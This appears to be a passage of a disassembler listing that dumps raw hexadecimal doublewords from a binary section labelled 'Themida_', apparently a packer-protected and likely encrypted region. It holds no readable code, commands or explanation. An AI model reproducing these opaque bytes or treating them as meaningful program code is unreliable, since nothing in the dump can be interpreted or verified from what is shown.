dd 0E78731CFh, 6412BBA8h, 62B15E29h, 0C847B630h, 0B1D1EF94h
dd 40F6F9h, 0FC0B0000h, 1E6AA5D5h, 1D0E8B23h, 0EE6BEA1Fh
dd 5CF82B0h, 8795FC13h, 0DBCF82B0h, 0EBF2D9EEh, 0E9A75E5h
dd 0F726A998h, 0C6B81126h, 0AD379EC7h, 0AECF82B0h, 85152C7Ah
dd 0F9B1C3DEh, 0A907h, 1ACE4F00h, 8940435Ah, 77F29795h
dd 2274D512h, 0ACCCF8EBh, 81427671h, 0AFF9144Ah, 496134F9h
dd 38C64D9Ch, 0C2BFEC8Ch, 0FC01DB5h, 25B0D94Fh, 0C64D93BBh
dd 0EB988A0h, 6BEA1F1Dh, 0CF85451Ah, 0AD9AEF39h, 384F3826h
dd 53B5E890h, 0F710F960h, 1672ADCDh, 0C1B9101Bh, 55ABA1BDh
dd 4125F87Ch, 311h, 78A5D5F8h, 121B4387h, 79A2DCF5h, 815418Eh
dd 81AAD0F7h, 0C1085CFBh, 5B739499h, 0DFF5121Bh, 47718E9Fh
dd 0E916F627h, 89077A6Ch
dd 8B2D9CFh, 18B607CEh, 0A8E1CA5Ch, 80B23491h, 77A1C64Dh
dd 6505AFBCh, 1ACEBA38h, 9440435Ah, 0D18D4235h, 37A96ABEh
dd 1CC64D80h, 536D5E0Ch, 4B50230Bh, 28EFD0DDh, 0A96ED720h
dd 0BCCF82FAh, 4138316Ch, 82F262C4h, 35E3F4CFh, 187A9A69h
dd 0EBEAD94Fh, 0CF8289F7h, 0F5DCEB1Eh, 43FE8A85h, 190251C0h
dd 0BA5FE613h, 0C9D8B7AFh, 0D0A44E5Fh, 48CD12B7h, 0C64D80DEh
dd 22FDAB7Dh, 2F6EE8E5h, 37043D5h, 897E91D1h, 0F30E1F5Fh
dd 51C42569h, 0BD74616Eh, 498229F2h, 0E6768315h, 64707DF8h
dd 0FC853C78h, 838A2499h, 0E6B96FCFh, 8345B12Fh, 0AFC8B1CFh
dd 6D526119h, 3209B62Eh, 5DD8F9B1h, 1E000000h, 6B13B7D0h
dd 52D43134h, 1C64D80h, 5B28117h, 64E11616h, 0CF82B0F7h
dd 4F6FEAEh, 586C76DFh, 39EFCF83h, 0E9B735B3h, 6C47379Eh
dd 0CD4C7B61h, 22BF4206h, 0E6FC9974h, 7CCF82A7h, 0A6FEE18Bh
dd 0BC46B488h, 2930205h, 809FDFF5h, 83FBD124h, 78711EB0h
dd 0AB60F9B1h, 0E6000000h, 0FB91ACEh, 42D4306Fh, 0C9B1184Bh
dd 0DA4CC9C0h, 79C64D80h, 97158AFh, 0CCBF7216h, 3925AE99h
dd 0ABCBFD8Ah, 25456F74h, 855595F8h, 0B024C64Dh, 57C1B90Fh
dd 0EF8F3946h, 2424F3B0h, 0B11572D3h, 0D850CF82h, 2523F4D3h
dd 5D0A71D4h, 0CF59D8BAh, 5A04CDBAh, 1C3EA82Dh, 0B1DC650h
dd 933A4D38h, 0EC5C2EBh, 951A2C50h, 7C9F7560h, 154E6h
dd 0E2903B00h, 5804CEB9h, 0DF9F3453h, 621CB1CEh, 0D7874E39h
dd 2B7F2EC6h, 9AE5B6A4h, 24634834h, 807FACACh, 5071454h
dd 96779DCh, 9FECCF89h, 5707CE17h, 0EF8F3946h, 1D0E34BEh
dd 0EE6BEA1Fh, 5CF82B0h, 8795FC13h, 0DBCF82B0h, 2B12574h
dd 0D3F9B1C3h, 84h, 5CB9D01Bh, 0C64D80CAh, 97A49F89h, 15524D2Dh
dd 28CDC0BEh, 0C64D8588h, 0FA234375h, 849BDB0Dh, 275058BFh
dd 82B0E99Eh, 7FAC7CCFh, 285157C0h, 0BA597F9Dh, 3344D4D8h
dd 0E0CD8D44h, 4A32289Fh, 7560902Eh, 0B2C2A07Bh, 99000000h
dd 24634836h, 827DAEAEh, 0F7081549h, 8483A8D6h, 54200D4Dh
dd 0F06E65B9h, 82F2DC2Bh, 0F6666E99h, 8EEEDA25h, 3826F9Dh
dd 0CF890B21h, 0CEB14932h, 39465707h, 34BEEF8Fh, 435A1ACEh
dd 0A3D49440h, 80B52F96h, 72A6C64Dh, 0FEEDDABFh, 9F09755Dh
dd 229EB6Ah, 0DFEACF89h, 89016C76h, 8A39EFCFh, 39AB2A5Fh
dd 1ACF8901h, 8285980Eh, 0FA051656h, 26FAECEh, 1851B37Ah
dd 83168588h, 0FB0C1151h, 7176A9C9h, 0FEB225Ch, 7A6E3D5Ch
dd 0D5FA0DFAh, 1F1276A9h, 0DB9B4D3Ah, 1FB6C1C4h, 0CDE4405Fh
dd 0CC1h, 1CD02900h, 2CB44448h, 0F1E5DC93h, 5303CE69h
dd 0DD9D473Ch, 4F0FC5C2h, 0BBBB1350h, 32289FE4h, 0B9A1285Bh
dd 322CA1E6h, 0BBA3285Bh, 332B9FE4h, 5450805Ch, 40558h
dd 0E8830000h, 24048704h, 0E089505Ch, 405h, 42D00h, 4870000h
dd 34895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
dd 2414895Ch, 3B818768h, 24348B09h, 5404C483h, 8324148Bh
dd 0EC8304C4h, 240C8904h, 8B9h, 89D10100h, 34FF5931h, 0C4835A24h
dd 24348B04h, 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h
dd 0FFFABA20h, 0DA77B6ADh, 0C8F4509Bh, 0B8A818F5h, 93B8B0Ch
dd 0E0FFC503h, 2A6FC813h, 9E259CBh, 47E6C379h, 662A6A2h
dd 0A37FC23h, 688B5B99h, 15233A5Eh, 6B1C66F5h, 69D8A65Eh
dd 7C2D2AB9h, 4C9213D7h, 0DD35E00h, 73618AB3h
dword_5A719C dd 8C588D8Dh, 0BF0F093Bh, 298D89FBh, 81093516h, 541221F0h
; DATA XREF: Themida_:00552894o
dd 7D85C758h, 48093528h, 6A00006Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 3F2C355h
dd 3511E595h, 5585C709h, 93522h, 1000000h, 3523E1BDh, 45B5FF09h
dd 6609350Dh, 0FFF8E3B8h, 350D0595h, 55006A09h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 89394BC2h
dd 6A77655Eh, 2995FF00h, 8B093508h, 306AEBC0h, 13681F32h
dd 3E9D2075h, 0B142D8E5h, 7E5E2060h, 86951D98h, 5E3B1B99h
dd 0D10B49E7h, 532865Ch, 617C9D3Eh, 89DDCAFBh, 0C0F6B71Ah
dd 0ACE36A92h, 52199199h, 54CEF342h, 6C27F118h, 5A33EB9Ah
dd 7EDB90B0h, 0F7F2AAF3h, 0F0B7C4C7h, 1126971Eh, 0A9DF33DEh
dd 0F820EAB8h, 2A027882h, 0A8BE291Ch, 0C2131F23h, 513FDDB8h
dd 948D8D7Eh, 6A093B8Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 22CAC356h, 89A66087h
dd 3516298Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 7FBB66C4h, 7D85C749h, 0B8093528h
dd 89000070h, 35258585h, 85C7F809h, 9352255h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F2C35545h
dd 88522FF2h, 6D85E878h, 0E9B589DFh, 0FF093503h, 350D15B5h
dd 6E909h, 5FB50000h, 0B4BCD2EDh, 0D0595FFh, 6A0935h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 6A57E5C3h, 2995FF00h, 8B093508h, 694CEBC0h, 19F4A6Bh
dd 0B1A017DFh, 31840AF6h, 825CAD21h, 489B32F4h, 30EB0133h
dd 0EF95BCE9h, 0E27FE905h, 0D4D36B60h, 2D8A9059h, 993A3745h
dd 346AED67h, 1DB4AC10h, 0E20F9619h, 0DF9E0A10h, 72709DEAh
dd 9433ED66h, 4B423A86h, 0E8F9BAB9h, 0Fh, 0BD32EE44h, 0ADCFC135h
dd 0EB309D2Ah, 0BB1D7251h, 14164FA1h, 3CF38058h, 701CC081h
dd 66570000h, 42CADE81h, 33C9335Bh, 3525BD9Dh, 83C8B09h
dd 81DF8B66h, 627314F7h, 0E3816602h, 0C781145Dh, 9AC83Dh
dd 2C7D8589h, 0EF810935h, 410C35E5h, 0F6816650h, 895A562Eh
dd 958B083Ch, 9350D81h, 6F99DE81h, 0E9835749h, 29B52904h
dd 81093503h, 0FF908CF9h, 16850FFFh, 8B000000h, 3525D5B5h
dd 26E909h, 0DF650000h, 0D83D59ABh, 12A469AAh, 59BD8957h
dd 0E9093504h, 0FFFFFF91h, 6F5EB301h, 4EC3A787h, 80261435h
dd 1F83157Bh, 6E8h, 9B3AA900h, 8995F2F0h, 35119185h, 0B9665A09h
dd 0C281C6D7h, 5B28h, 1E05BD8Bh, 0DB330935h, 6E9h, 0E907DF00h
dd 8B0F3969h, 0F5B81A34h, 81107D38h, 7BBA52C6h, 11850312h
dd 8109350Dh, 0A39D6EEh, 81E58A46h, 17C13AC6h, 1A348945h
dd 7E86060h, 22000000h, 0A5ED581Fh, 665AFF6Dh, 114AC381h
dd 0F61F561h, 683h, 0A1BD3100h, 8109350Eh, 307276EBh, 65BD033Ah
dd 81093508h, 307272C3h, 0AE83Ah, 0A6D10000h, 0D61E61A9h
dd 0E68545Eh, 1F759589h, 815F0935h, 0FFA5ACFBh, 14850FFFh
dd 8B000000h, 2BE9CFh, 0F23F0000h, 0D8E4163Ah, 0F897D0ABh
dd 0E97D07B3h, 8, 9276575Dh, 70F458B0h, 0FFFF5EE9h, 0CA0C84FFh
dd 0BF395B8h, 1299DFE3h, 938D8D7Ah, 6A093B90h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 4AC0C355h, 3FC0F946h, 6830F1Ah, 89000000h, 35276D9Dh
dd 56E08109h, 890317F7h, 3516298Dh, 57006A09h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0F6D97EBh
dd 488h, 0ECBA6600h, 85C7F96Eh, 935287Dh, 5B04h, 11E9h
dd 0E841F700h, 12FAB024h, 0C2E4F05Dh, 0DBC59713h, 85C7B79Dh
dd 9352255h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 60C35242h
dd 70B66C63h, 0E9C2B70Fh, 0Fh, 0F1680D93h, 5F0ED217h, 4F4CFE4Ch
dd 0FF2F9850h, 351239B5h, 53006A09h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0CAAF6311h
dd 0BD8B7E59h, 9352F3Dh, 11E9h, 14D4E000h, 0C7166FE7h
dd 0B054E63Dh, 91E2D64Ah, 95FFE84Ch, 9350D05h, 2761B52Bh
dd 6A0935h, 82995FFh, 0C08B0935h, 0D9F059EBh, 242FB436h
dd 3D9DD999h, 258D47F4h, 0C19DD59Bh, 94BC32E7h, 0F4104C39h
dd 8D260B08h, 4A53800Eh, 0DE6A8FF7h, 3FBA4F56h, 0CB7D5B54h
dd 0BFED3A33h, 1F4BF87Fh, 8F2495CBh, 1D95DA31h, 24036B30h
dd 0B58A086Dh, 0D50225FAh, 788A6D3Eh, 0BF00AFAh, 0A192C12Eh
dd 8DC58E9Ah, 3B91848Dh, 0C7816609h, 8D89A35Ah, 9351629h
dd 0FDDDBB66h, 287D85C7h, 628C0935h, 0BA660000h, 85C7E04Ah
dd 9352255h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 18C35040h
dd 96C1CAA7h, 0B5FF5487h, 9352B11h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 0F0C35040h, 8481C01Bh, 8D09F026h
dd 935012Dh, 95FF35B0h, 9350D05h, 16E58D89h, 6AF80935h
dd 2995FF00h, 8B093508h, 9E5EEBC0h, 25BD2258h, 8A1AAA4Bh
dd 9123DA2Fh, 76575DE3h, 0F458B092h, 3AC88370h, 0A32A73B4h
dd 0D6022C57h, 0DBA78F6Ah, 6A50D1B7h, 0A77C7BB9h, 8353277Eh
dd 0A953B5FDh, 0DB5CF494h, 72AF3B2Ah, 0F0885A1Bh, 1C9E8979h
dd 7D3CAA5Dh, 1E87F036h, 865EF87Ch, 0BA75CD5Ch, 2F4D290Dh
dd 570A3BA7h, 0D58D8D4Dh, 6A093B92h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 439CC353h
dd 8B66AF7Ch, 298D89FAh, 8B093516h, 350B65B5h, 7D85C709h
dd 4093528h, 6A00006Ch, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0E43DC351h, 85C71579h
dd 9352255h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A0C35141h
dd 0DA91C8E0h, 11F5B5FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 5A457EC3h, 0C56F2C92h
dd 595FF23h, 6A09350Dh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 3DB5C353h, 6E8AA1Ch
dd 0B000000h, 0D351FAB9h, 0D59D8B5Ah, 5F093512h, 95FF006Ah
dd 9350829h, 5CEBC08Bh, 9028676Eh, 773B92E3h, 9BD8B4C9h
dd 0A647475Eh, 9E634A77h, 0E8F1D336h, 0C32629B4h, 0C172EDFFh
dd 157E25EEh, 0B9188CC8h, 23CCE8B9h, 0CF5C2823h, 49F7B41Eh
dd 78E6C7Bh, 0CD47B4AEh, 0B0C0E4BEh, 0B2A24E86h, 0AE80D3D7h
dd 78487ADFh, 11D6DB28h, 0E6AFAF2Eh, 0CC923AB6h, 3F3071EDh
dd 0BE8h, 77C68300h, 914166Ah, 15F632D1h, 1DED9589h, 315B0935h
dd 350CD9BDh, 0C5C38109h, 0F000059h, 68Ch, 69BD0300h, 0BA093504h
dd 163Dh, 0FFF1B70Fh, 3FE68133h, 597675CEh, 81C18B66h
dd 29BE90E9h, 7585036Ah, 8109351Fh, 94C128C1h, 0C3BF0F39h
dd 12A3C181h, 81662451h, 51BC29E8h, 0CE9h, 650C7500h, 1E629A0Dh
dd 0C869A611h, 8B038FD0h, 99EB81F9h, 290C51D9h, 352AA98Dh
dd 95C38109h, 0E90C51D9h, 12h, 4473EEE7h, 27214A1h, 0D577E76Ch
dd 0DC266D1h, 0EA81F7C1h, 1, 1B850Fh, 890F0000h, 6, 32499589h
dd 1BE90935h, 0FF000000h, 0E94A85DFh, 0C12607D6h, 0F1BD8B5Ah
dd 0E909352Bh, 0FFFFFF63h, 0A0EA385Bh, 14E88E0Ah, 13000000h
dd 264B5182h, 0B6FEF64Dh, 0DEEAD682h, 373D1ED6h, 8B307222h
dd 351DA59Dh, 0F28B5809h, 62A1C081h, 0FC510000h, 60FF3359h
dd 2A75B58Bh, 858B0935h, 935056Dh, 734FF61h, 81DCB960h
dd 8B6039DFh, 35296D95h, 6161FC09h, 799D8B5Ah, 81093505h
dd 0C9C420C2h, 2D8D8B74h, 81093528h, 88C851F2h, 0FE974h
dd 76FD0000h, 0E54E7318h, 0A14268E8h, 0B942106Ah, 0D9F281E3h
dd 893D9455h, 35160D95h, 0FCBE5209h, 8F11D15Fh, 8D0B3804h
dd 9352451h, 5C1B529h, 0EF810935h, 5141866Bh, 7E860h, 0D80A0000h
dd 51C3E0A1h, 58E6B77Ah, 61FA8B66h, 8667C781h, 0B5315141h
dd 93505E5h, 9E7CFF81h, 850FFFFFh, 17h, 82F18166h, 4EE9A8h
dd 301A0000h, 8DAD982Eh, 7BDAD783h, 0E86C2387h, 12h, 0FF6E19C5h
dd 0E7555CAEh, 37E01506h, 0A1F6E66Fh, 0CE9B856h, 0F6000000h
dd 0D5E2190h, 25F34F05h, 5B438CE1h, 0FFFF28E9h, 46B000FFh
dd 0D441AB27h, 0C09C3287h, 0A35F4BB8h, 55242BBAh, 95F38D8Dh
dd 6A093Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0DA462DC3h, 8820F84h, 51000000h, 0AC95DE81h
dd 895A23CCh, 3516298Dh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 19A60174h, 0B54C2C09h
dd 7D85C72Ch, 4C093528h, 6A00005Ah, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B0EC353h
dd 351F69BDh, 5585C709h, 93522h, 3000000h, 35289585h, 0F9B52309h
dd 0FF09351Ch, 352C79B5h, 0D3816609h, 95FFEC7Ch, 9350D05h
dd 0D78865B8h, 6AFC02h, 82995FFh, 0C08B0935h, 0FB2D29EBh
dd 2EF45E76h, 28379394h, 0BCA79A00h, 6AE093Bh, 0C95546FEh
dd 0C1DD127Ah, 6537C27h, 0CB738309h, 0CAA2F699h, 0E8436C7Eh
dd 0Ch, 4B3C98E7h, 67209FE3h, 0E45AFFFAh, 12D5B589h, 0B6580935h
dd 2EC08167h, 81000066h, 599E26C2h, 6846h, 13E90000h, 54000000h
dd 0DFCF2398h, 0D86FE9D5h, 0D0EB614Ch, 5F00D357h, 0FF5B594Eh
dd 665F0334h, 8122F1B9h, 8164AAEFh, 81AEB561h, 31E91EC7h
dd 0BE927h, 15B30000h, 0B93E092Bh, 0A42F34F7h, 0A9EF81C8h
dd 0F848887Ah, 81183C89h, 0D2F88CD6h, 0F08B6601h, 6D2DEB81h
dd 0E7B97DDAh, 8178ED58h, 0DA6D29C3h, 45C9807Dh, 9A6CFB81h
dd 850FFFFFh, 0FFFFFFA7h, 29C9B58Bh, 0EE80935h, 72000000h
dd 47C36ED5h, 0E2C11ED2h, 0F3E0B1C2h, 3D858BE4h, 5B093503h
dd 271D9D31h, 0C3810935h, 58ABh, 68E0B4h, 60000000h, 0EE816653h
dd 0F58CF47h, 5961D0B7h, 52F28166h, 1934FFC0h, 0CFDBD8Bh
dd 0E95E0935h, 5, 0ECB71025h, 0E0F68114h, 814240C5h, 0E94891DAh
dd 2CEE814Ah, 234696F5h, 350F4195h, 55EE8109h, 0E9171C68h
dd 0Bh, 0C42B1AD5h, 4D2CB8CBh, 5644FE14h, 8B0B048Fh, 35078985h
dd 6850F09h, 29000000h, 352FF195h, 4E98309h, 6890Fh, 850B0000h
dd 93503B5h, 0A804F981h, 850FFFFFh, 0FFFFFF8Dh, 674EEF81h
dd 12E85E72h, 88000000h, 1100851Dh, 0DFD04310h, 731B26Ch
dd 61A6991Bh, 8589597Dh, 935269Dh, 6F41C181h, 820F0000h
dd 1, 1B9B68FCh, 820F0000h, 1, 0BF0F5AF8h, 0F31FFC1h, 605ED9B7h
dd 0FD18D89h, 66560935h, 615FF38Bh, 254FF681h, 81664AADh
dd 813570E7h, 6DAF69F6h, 6660600Ch, 3F7EDA81h, 8B616160h
dd 350C6195h, 0EE816109h, 0E1303D7h, 77E38166h, 8FF556C6h
dd 11E901h, 0B6680000h, 8CA6BA44h, 7195463Eh, 6649C8C8h
dd 83F0DACAh, 816604E9h, 4A22A8C8h, 20850Fh, 810F0000h
dd 6, 0CD1B531h, 29E90935h, 54000000h, 0B8816C24h, 3EC07292h
dd 91388892h, 8529D8AAh, 935300Dh, 0FFFF6CE9h, 7AE338FFh
dd 0C6F00F94h, 0CE5DD816h, 75A0BB9Eh, 89A07582h, 78146908h
dd 4B8DA6DCh, 86391061h, 8635A12Eh, 13D92590h, 5302548h
dd 0B3305C99h, 23F251Bh, 86302581h, 0AF559807h, 89302C77h
dd 86305EA5h, 1BB5E390h, 0C839105Fh, 78108B4Ch, 0A234A482h
dd 9174939Bh, 8649907Bh, 3BD2C77h, 8F085E51h, 76BBF56Fh
dd 91ADA08Eh, 6E7E2C11h, 86302516h, 2E72F249h, 0A274AED4h
dd 0F30AE46h, 0DE340165h, 0AF55906Fh, 3BD2C7Dh, 8F085E54h
dd 7EBBF5EDh, 863035B0h, 8638CC84h, 89962542h, 86302BA4h
dd 4F3B6C90h, 79C0A047h, 8BD9DADBh, 0B302512h, 0B37C2794h
dd 86359D8Dh, 65CF2542h, 1E6A98ACh, 0BBD2CABh, 8F0BBC68h
dd 0B615379Ch, 47FF0E94h, 89A07582h, 78146908h, 4B8DA6DCh
dd 86391061h, 8635A12Eh, 13D92590h, 5302548h, 0E9835C99h
dd 0B9A4F305h, 22h, 7E4604EBh, 0AFE94D2Ch, 0F6000007h
dd 0BA3E5F44h, 9F613AA7h, 0D0881580h, 9A5E3F58h, 8E851683h
dd 85140DFDh, 0CECB6018h, 88150BCDh, 0C8D14D13h, 0F3B1DDD3h
dd 12FAA8C9h, 15AB10BDh, 0C45085ADh, 36BE7165h, 362425A8h
dd 9CDB571Ch, 3624BC06h, 5F78F41Ch, 3CB21094h, 0B93BB623h
dd 0EAE4B937h, 0DCDEB592h, 0CC325DE1h, 1FB24257h, 0EE10BC94h
dd 255F6370h, 47BE4883h, 7D23C72Fh, 1502F5CAh, 7E1B16A8h
dd 0CB26C876h, 0C4D9C059h, 3CB7203Ch, 0A84B54C8h, 0EF9EB38h
dd 0C38C5712h, 0FFBD7ACFh, 0C706ACF1h, 0A392859Bh, 0BDE066DBh
dd 0B1458BD0h, 7C0Ah, 2E47C900h, 5DD448ABh, 0D647B53Ch
dd 97021BEEh, 2EABC537h, 913DF1C6h, 36416953h, 0BB3B5D1Ch
dd 4FFDBA13h, 53AD89h, 0E7D90000h, 0DBC65B4Eh, 4742E115h
dd 36A3BB2Eh, 0CDD449BBh, 0A24CA226h, 41FEC14Fh, 0C3EB1C36h
dd 5D7CF507h, 0EAD01296h, 0DC1C3641h
dd 1B858262h, 8E368C60h, 35926A50h, 0B6385E1Ch, 7803F13Eh
dd 0ABA3F8E1h, 41811811h, 0D3A6DA4Bh, 0B8A05459h, 3Ch
dd 0AB2E4719h, 856E5B23h, 760A11B5h, 4D71FF7Eh, 591C35F9h
dd 418B1975h, 351C35F9h, 0C033AEC3h, 0ED42B23Ch, 0DCFD7407h
dd 2352CEF0h, 35F9377Dh, 43AD331Ch, 0B2273CB0h, 0F0E3B83Ch
dd 0BC39B2Eh, 34C96D5h, 0A2408C15h, 13013318h, 0B46A8A0Ch
dd 0D24DBF32h, 39C307C7h, 9C26BC25h, 0D4130133h, 33B53C5Dh
dd 12E70F91h, 118EA21Ch, 0E9F46BE5h, 221C640Ah, 0AE0845D8h
dd 0BB0E995Dh, 0FAB5EBE3h, 1E0BCD82h, 1A8B7978h, 43612D2Ah
dd 1C358179h, 0F6E37B6Dh, 0ED82FCF8h, 3A35ABF0h, 0EEC4549Fh
dd 251C3581h, 5B2F1400h, 1ED5CC61h, 8182489Ah, 70761C35h
dd 88150A84h, 842E2013h, 993A0BC6h, 0A6BE2B47h, 0B03EC231h
dd 9EEAE421h, 3641BA00h, 0CC28AE1Ch, 5C41925h, 34C68850h
dd 0AF569E3Bh, 55h, 0D6842EE0h, 0A9C53B58h, 1513BE30h
dd 0E5CF15B9h, 0E11C3641h, 23A937BFh, 171C3641h, 0AD154291h
dd 0F2DAB2AFh, 8DA15FBAh, 953CE014h, 0D254AD15h, 0EDE194B3h
dd 0FD989709h, 0A6332FD1h, 5E70AF4Eh, 21D5C25Ch, 73EB1582h
dd 0F7098B66h, 0AD9D597Ch, 26h, 0C6842EDEh, 0E5CF150Bh
dd 1E1C3641h, 0BE153F92h, 26AD2847h, 387DAD15h, 0E1E5A6CCh
dd 0FFC37F5Ah, 0CE263FB5h, 2B47BE85h, 61B543AEh, 0DE1C32C3h
dd 4EE2957Fh, 69457D51h, 595090BEh, 0EC7449ADh, 1B8D6475h
dd 0E85C9702h, 0D9896871h, 45162BCBh, 253CC209h, 5BAA3DB4h
dd 27748E69h, 0A4D34A3Dh, 31A7B4FEh, 3D00B01Ch, 0B3137057h
dd 33688668h, 2B914F7Bh, 1F1C3151h, 0ECE98779h, 0CB738305h
dd 8954E982h, 41E5h, 2B47A600h, 0EB9F43AEh, 36420FB5h
dd 11E50B1Ch, 735B3386h, 36AB62Dh, 548A3215h, 1301186Eh
dd 0E60D8AA6h, 0B03E6062h, 4451CF41h, 0B8253BADh, 6351D439h
dd 32228388h, 0A6BE2B47h, 0B03EC231h, 2B4748EBh, 0EDB843AEh
dd 1C0B9935h, 0E0150368h, 0AD4350CEh, 842E3BF0h, 993A0BC6h
dd 1EAE2B47h, 0E313849Ch, 70EB153Ch, 13DEFB75h, 10945F91h
dd 192407E4h, 885005C4h, 0CECAF6C6h, 5836E711h, 21ED9Ch
dd 2E9E0000h, 150BC684h, 3641E5CFh, 14BFE11Ch, 2847BE15h
dd 5E7026ADh, 20D4C55Ch, 30D181h, 2E020000h, 150BC684h
dd 3641E5CFh, 8AA21E1Ch, 9C62E60Dh, 0F5DC1287h, 2847BE15h
dd 416F558Bh, 456B1C36h, 5E7028ABh, 4CE4C55Ch, 0CA4EA54Bh
dd 2B47832Ah, 1D9F43AEh, 16216A01h, 5889860h, 0C95608EBh
dd 3CF3105Fh, 0C04EA648h, 1C32314Ch, 0FD887CE9h, 2B237861h
dd 1A129F91h, 0FCF2767Dh, 2EA812D0h, 0FA9C1C32h, 0F0E980FAh
dd 13968F01h, 5B737D18h, 2E4B712Fh, 9B491C32h, 1C322E31h
dd 9F418325h, 0FB68D857h, 0F2E77E09h, 0CAF0AEDAh, 0BE1C322Eh
dd 4BFFDC18h, 89540D02h, 0E35C2468h, 0B085428Eh, 63C208DAh
dd 7DF21C31h, 0B83C6260h, 3411h, 2B47C200h, 0DF9F43AEh
dd 9C2BA000h, 56E11540h, 9D438B43h, 1502869Ah, 77E9088Eh
dd 0A014DFFAh, 920F218Eh, 0AD30955Ch, 9B3C34C7h, 7F65B855h
dd 9607908Ch, 0AE2B47B5h, 31D9F43h, 0C0D35E96h, 0F608C408h
dd 169A597Eh, 6DAD50DEh, 8D231503h, 3CEE0594h, 4B967E4Fh
dd 0BC32BC1Ah, 842EECDFh, 0D6485DD6h, 0AC927C9h, 2B47993Ah
dd 346A1EAEh, 1C36418Eh, 0F190648Ah, 0C419EFE4h, 0C3885005h
dd 1Ch, 0C6842E04h, 0E5CF150Bh, 0E11C3641h, 0BE1514BFh
dd 26AD2847h, 49D16370h, 2000000h, 0BC6842Eh, 41E5CF15h
dd 93EB1C36h, 11AC9A69h, 199262AEh, 0B9153C97h, 3641A12Bh
dd 0E313951Ch, 22B9337h, 0F2184103h, 15D27185h, 774A50ADh
dd 6997F632h, 8507EAF7h, 7560FF71h, 3AAD155Eh, 9FE08D98h
dd 6B58A155h, 43AE2B47h, 32C361B5h, 957FDE1Ch, 4C514EE2h
dd 0F4FF9894h, 48845C67h, 0FEE4539Ah, 53775314h, 49C278Dh
dd 677D2313h, 13049C5Dh, 0F19F5759h, 2EFDAEEFh, 3A0BC684h
dd 0BE2B4799h, 18BB35A2h, 0C419EFE4h, 0C3885005h, 21h
dd 0C6842E04h, 0E5CF150Bh, 0E11C3641h, 0AE4550CFh, 150DC42Ah
dd 0AD2847BEh, 0D1637026h, 31h, 76EB1502h, 773D636Bh, 731C3641h
dd 0B4FE896Dh, 0CF15DBF6h, 1C3641E5h, 153F921Eh, 8E6673EBh
dd 2847A3EAh, 0AD1526ADh, 16E9599Eh, 165F97A7h, 0AE2B472Dh
dd 0C361B543h, 5ED11C32h, 253CB043h, 85D83DB4h, 0AE2FDC9Fh
dd 60FF01C6h, 130F8175h, 8F311586h, 3DED0491h, 0B08AE85Fh
dd 7EF0101h, 0C0DE9995h, 1C3223FAh, 0EB06E8EEh, 517D5560h
dd 0FF30DC93h, 0FECED014h, 817562FCh, 842E07ACh, 943A0BC6h
dd 4120AA38h, 92141C36h, 2B47BB62h, 0EFE423AEh, 5005C419h
dd 23C388h, 2E040000h, 150BC684h, 886B76EBh, 964CF004h
dd 1C36412Ch, 154B8628h, 0AD2847BEh, 0D1637026h, 2Ch, 0C6842E02h
dd 0E5CF150Bh, 1E1C3641h, 0BE153F92h, 0A12BB915h, 951C3641h
dd 0F669E313h, 7B7663FBh, 0DFF7A4CBh, 48A6CB35h, 63702BA6h
dd 43AE2B47h, 9935EDB8h, 688B0E27h, 366C10E4h, 15034577h
dd 0F5EBCD9Dh, 1533D61Eh, 89391DCCh, 0B6387DB7h, 974F5AE5h
dd 356FA937h, 4D530BD8h, 0A13E32A6h, 0EFE884FCh, 60537404h
dd 0E27D5813h, 9588FCF7h, 0AE4FE50Ch, 24EA23C6h, 0DE16839Ah
dd 44D8A391h, 0A2BE425Bh, 0AFF59935h, 0D81C5F05h, 5EEFD50Bh
dd 0C5EBD81Ch, 6772E9FFh, 72E66D89h, 2616DDFAh, 203CCFB5h
dd 0FE72E6B7h, 32812E1h, 69000000h, 1547844Fh, 53CF41B0h
dd 2739AB46h, 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh
dd 0AFC034BFh, 0D04DBF32h, 515D2AC9h, 0C181E189h, 4, 4E981h
dd 0C870000h, 4895C24h, 0E2895224h, 4C281h, 0EA810000h
dd 4, 5C241487h, 68241489h, 7C08h, 68240C89h, 93B9951h
dd 8124148Bh, 4C4h, 4EC8300h, 81242489h, 42404h, 83590000h
dd 148904ECh, 8418F24h, 592434FFh, 8B04C483h, 89512414h
dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 0DDE2E95Ch, 248EFFF9h
dd 4D25C7CEh, 216EA3F3h, 79B8184Ch, 3093BA0h, 4CE0FFC5h
dd 0DE598F5Ah, 72BB43h, 0B048CD13h, 46551889h, 2710910Fh
dd 0AB30E46Ch, 410E73E5h, 0D4740E1Bh, 87430888h, 322DF5B2h
